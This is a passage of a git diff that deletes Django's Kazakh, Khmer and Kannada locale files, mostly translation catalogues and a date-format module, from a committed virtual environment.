"Сәуір" - -msgctxt "alt. month" -msgid "May" -msgstr "Мамыр" - -msgctxt "alt. month" -msgid "June" -msgstr "Маусым" - -msgctxt "alt. month" -msgid "July" -msgstr "Шілде" - -msgctxt "alt. month" -msgid "August" -msgstr "Тамыз" - -msgctxt "alt. month" -msgid "September" -msgstr "Қыркүйек" - -msgctxt "alt. month" -msgid "October" -msgstr "Қазан" - -msgctxt "alt. month" -msgid "November" -msgstr "Қараша" - -msgctxt "alt. month" -msgid "December" -msgstr "Желтоқсан" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "немесе" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "Жыл таңдалмаған" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Ай таңдалмаған" - -msgid "No day specified" -msgstr "Күн таңдалмаған" - -msgid "No week specified" -msgstr "Апта таңдалмаған" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s қол жеткізгісіз" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Болашақ %(verbose_name_plural)s қол жеткізгісіз, себебі %(class_name)s." -"allow_future False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "%(verbose_name)s табылған жоқ" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/km/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/km/LC_MESSAGES/django.mo deleted file mode 100644 index 3de6c806..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/km/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/km/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/km/LC_MESSAGES/django.po deleted file mode 100644 index c706129c..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/km/LC_MESSAGES/django.po +++ /dev/null @@ -1,1196 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Khmer (http://www.transifex.com/django/django/language/km/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: km\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "ភាសាអារ៉ាប់" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "" - -msgid "Bulgarian" -msgstr "" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "ភាសាបេឡារុស្ស" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "" - -msgid "Catalan" -msgstr "" - -msgid "Czech" -msgstr "ភាសាឆេក" - -msgid "Welsh" -msgstr "ភាសាអ៊ុយក្រែន" - -msgid "Danish" -msgstr "ភាសាដាណឺម៉ាក" - -msgid "German" -msgstr "ភាសាអាល្លឺម៉ង់" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "ភាសាហ្កែលិគ" - -msgid "English" -msgstr "ភាសាអង់គ្លេស" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "ភាសាអេស្ប៉ាញ" - -msgid "Argentinian Spanish" -msgstr "" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "" - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "" - -msgid "Basque" -msgstr "" - -msgid "Persian" -msgstr "" - -msgid "Finnish" -msgstr "ភាសាហ្វាំងឡង់" - -msgid "French" -msgstr "ភាសាបារាំង" - -msgid "Frisian" -msgstr "" - -msgid "Irish" -msgstr "" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "ភាសាហ្កែលិគ" - -msgid "Hebrew" -msgstr "ភាសាហេប្រិ" - -msgid "Hindi" -msgstr "" - -msgid "Croatian" -msgstr "" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "ភាសាហុងគ្រី" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "ភាសាអ៉ីស្លង់" - -msgid "Italian" -msgstr "ភាសាអ៊ីតាលី" - -msgid "Japanese" -msgstr "ភាសាជប៉ុន" - -msgid "Georgian" -msgstr "" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "" - -msgid "Kannada" -msgstr "" - -msgid "Korean" -msgstr "" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "" - -msgid "Latvian" -msgstr "" - -msgid "Macedonian" -msgstr "" - -msgid "Malayalam" -msgstr "" - -msgid "Mongolian" -msgstr "" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "ភាសាហ្វាំងឡង់" - -msgid "Norwegian Nynorsk" -msgstr "" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "" - -msgid "Polish" -msgstr "" - -msgid "Portuguese" -msgstr "" - -msgid "Brazilian Portuguese" -msgstr "" - -msgid "Romanian" -msgstr "ភាសារូម៉ានី" - -msgid "Russian" -msgstr "ភាសាรัរូស្ស៉ី" - -msgid "Slovak" -msgstr "ភាសាស្លូវ៉ាគី" - -msgid "Slovenian" -msgstr "ភាសាស្លូវ៉ានី" - -msgid "Albanian" -msgstr "" - -msgid "Serbian" -msgstr "" - -msgid "Serbian Latin" -msgstr "" - -msgid "Swedish" -msgstr "ភាសាស៊ុយអែដ" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "ភាសាតាមីល" - -msgid "Telugu" -msgstr "" - -msgid "Thai" -msgstr "" - -msgid "Turkish" -msgstr "ភាសាទួរគី" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "ភាសាអ៊ុយក្រែន" - -msgid "Urdu" -msgstr "" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "" - -msgid "Simplified Chinese" -msgstr "ភាសាចិនសាមញ្ញ" - -msgid "Traditional Chinese" -msgstr "ភាសាចិនបុរាណ" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "" - -msgid "Enter a valid URL." -msgstr "" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "" - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "បំពេញតែលេខហើយផ្តាច់ចេញពីគ្នាដោយសញ្ញាក្បៀស។" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" - -msgid "Enter a number." -msgstr "" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "និង" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "ចាំបាច់បំពេញទិន្នន័យកន្លែងនេះ។" - -msgid "This field cannot be blank." -msgstr "" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolean (អាច​ជា True រឺ False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "ចំនួនពិត(Integer) ដែលផ្តាច់ចេញពីគ្នាដោយ​ក្បៀស" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "កាល​បរិច្ឆេទ (Date) (មិនមានសរសេរម៉ោង)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "កាល​បរិច្ឆេទ (Date) (មានសរសេរម៉ោង)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "ចំនួនទសភាគ (Decimal)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "" - -msgid "File path" -msgstr "ផ្លូវទៅកាន់ឯកសារ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "ចំនួនពិត(Integer)" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" -msgstr "លេខ IP" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Boolean (អាចជា True​ រឺ False រឺ None)" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "អត្ថបទ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "ពេលវេលា" - -msgid "URL" -msgstr "អាស័យដ្ឋានគេហទំព័រ(URL)" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "" - -msgid "Image" -msgstr "" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "ចាំបាច់បំពេញទិន្នន័យកន្លែងនេះ។" - -msgid "Enter a whole number." -msgstr "បំពេញចំនួនទាំងអស់។" - -msgid "Enter a valid date." -msgstr "" - -msgid "Enter a valid time." -msgstr "" - -msgid "Enter a valid date/time." -msgstr "" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "មិនមានឯកសារត្រូវបានជ្រើសរើស។ សូមពិនិត្យប្រភេទឯកសារម្តងទៀត។" - -msgid "No file was submitted." -msgstr "" - -msgid "The submitted file is empty." -msgstr "ពុំមានឯកសារ។​" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "រូបភាពដែលទាញយកមិនត្រឹមត្រូវ ប្រហែលជាមិនមែនជារូបភាព ឬក៏ជា រូបភាពខូច។" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" - -msgid "Order" -msgstr "" - -msgid "Delete" -msgstr "លប់" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "" - -msgid "Currently" -msgstr "" - -msgid "Change" -msgstr "ផ្លាស់ប្តូរ" - -msgid "Unknown" -msgstr "មិន​ដឹង" - -msgid "Yes" -msgstr "យល់ព្រម" - -msgid "No" -msgstr "មិនយល់ព្រម" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "យល់ព្រម មិនយល់ព្រម​ ប្រហែល" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" - -#, python-format -msgid "%s KB" -msgstr "" - -#, python-format -msgid "%s MB" -msgstr "" - -#, python-format -msgid "%s GB" -msgstr "" - -#, python-format -msgid "%s TB" -msgstr "" - -#, python-format -msgid "%s PB" -msgstr "" - -msgid "p.m." -msgstr "" - -msgid "a.m." -msgstr "" - -msgid "PM" -msgstr "" - -msgid "AM" -msgstr "" - -msgid "midnight" -msgstr "" - -msgid "noon" -msgstr "" - -msgid "Monday" -msgstr "ច័ន្ទ" - -msgid "Tuesday" -msgstr "អង្គារ" - -msgid "Wednesday" -msgstr "ពុធ" - -msgid "Thursday" -msgstr "ព្រហស្បតិ៍" - -msgid "Friday" -msgstr "សុក្រ" - -msgid "Saturday" -msgstr "សៅរ៍" - -msgid "Sunday" -msgstr "អាទិត្យ" - -msgid "Mon" -msgstr "" - -msgid "Tue" -msgstr "" - -msgid "Wed" -msgstr "" - -msgid "Thu" -msgstr "" - -msgid "Fri" -msgstr "" - -msgid "Sat" -msgstr "" - -msgid "Sun" -msgstr "" - -msgid "January" -msgstr "មករា" - -msgid "February" -msgstr "កុម្ភៈ" - -msgid "March" -msgstr "មិនា" - -msgid "April" -msgstr "មេសា" - -msgid "May" -msgstr "ឧសភា" - -msgid "June" -msgstr "មិថុនា" - -msgid "July" -msgstr "កក្កដា" - -msgid "August" -msgstr "សីហា" - -msgid "September" -msgstr "កញ្ញា" - -msgid "October" -msgstr "តុលា" - -msgid "November" -msgstr "វិច្ឆិកា" - -msgid "December" -msgstr "ធ្នូ" - -msgid "jan" -msgstr "មករា" - -msgid "feb" -msgstr "កុម្ភះ" - -msgid "mar" -msgstr "មិនា" - -msgid "apr" -msgstr "មេសា" - -msgid "may" -msgstr "ឧសភា" - -msgid "jun" -msgstr "មិថុនា" - -msgid "jul" -msgstr "កក្កដា" - -msgid "aug" -msgstr "សីហា" - -msgid "sep" -msgstr "កញ្ញា" - -msgid "oct" -msgstr "តុលា" - -msgid "nov" -msgstr "វិច្ឆិកា" - -msgid "dec" -msgstr "ធ្នូ" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "" - -msgctxt "abbrev. month" -msgid "March" -msgstr "មិនា" - -msgctxt "abbrev. month" -msgid "April" -msgstr "មេសា" - -msgctxt "abbrev. month" -msgid "May" -msgstr "ឧសភា" - -msgctxt "abbrev. month" -msgid "June" -msgstr "មិថុនា" - -msgctxt "abbrev. month" -msgid "July" -msgstr "កក្កដា" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "" - -msgctxt "alt. month" -msgid "January" -msgstr "មករា" - -msgctxt "alt. month" -msgid "February" -msgstr "កុម្ភៈ" - -msgctxt "alt. month" -msgid "March" -msgstr "មិនា" - -msgctxt "alt. month" -msgid "April" -msgstr "មេសា" - -msgctxt "alt. month" -msgid "May" -msgstr "ឧសភា" - -msgctxt "alt. month" -msgid "June" -msgstr "មិថុនា" - -msgctxt "alt. month" -msgid "July" -msgstr "កក្កដា" - -msgctxt "alt. month" -msgid "August" -msgstr "សីហា" - -msgctxt "alt. month" -msgid "September" -msgstr "កញ្ញា" - -msgctxt "alt. month" -msgid "October" -msgstr "តុលា" - -msgctxt "alt. month" -msgid "November" -msgstr "វិច្ឆិកា" - -msgctxt "alt. month" -msgid "December" -msgstr "ធ្នូ" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "" - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "" - -msgid "0 minutes" -msgstr "" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "" - -msgid "No day specified" -msgstr "" - -msgid "No week specified" -msgstr "" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/km/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/km/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/km/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/km/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index aa74a12a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/km/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/km/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/km/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index d4f2f1b1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/km/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/km/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/km/formats.py deleted file mode 100644 index 59234374..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/km/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j ខែ F ឆ្នាំ Y" -TIME_FORMAT = "G:i" -DATETIME_FORMAT = "j ខែ F ឆ្នាំ Y, G:i" -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M Y" -SHORT_DATETIME_FORMAT = "j M Y, G:i" -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/kn/LC_MESSAGES/django.mo deleted file mode 100644 index c926f57d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/kn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/kn/LC_MESSAGES/django.po deleted file mode 100644 index f2ba2aa8..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/kn/LC_MESSAGES/django.po +++ /dev/null @@ -1,1232 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -# karthikbgl , 2011-2012 -# Ramakrishna Yekulla , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Kannada (http://www.transifex.com/django/django/language/" -"kn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: kn\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "ಅರೇಬಿಕ್" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "ಆಜೆರ್ಬೈಜನಿ" - -msgid "Bulgarian" -msgstr "ಬಲ್ಗೇರಿಯನ್" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "ಬೆಂಗಾಲಿ" - -msgid "Breton" -msgstr 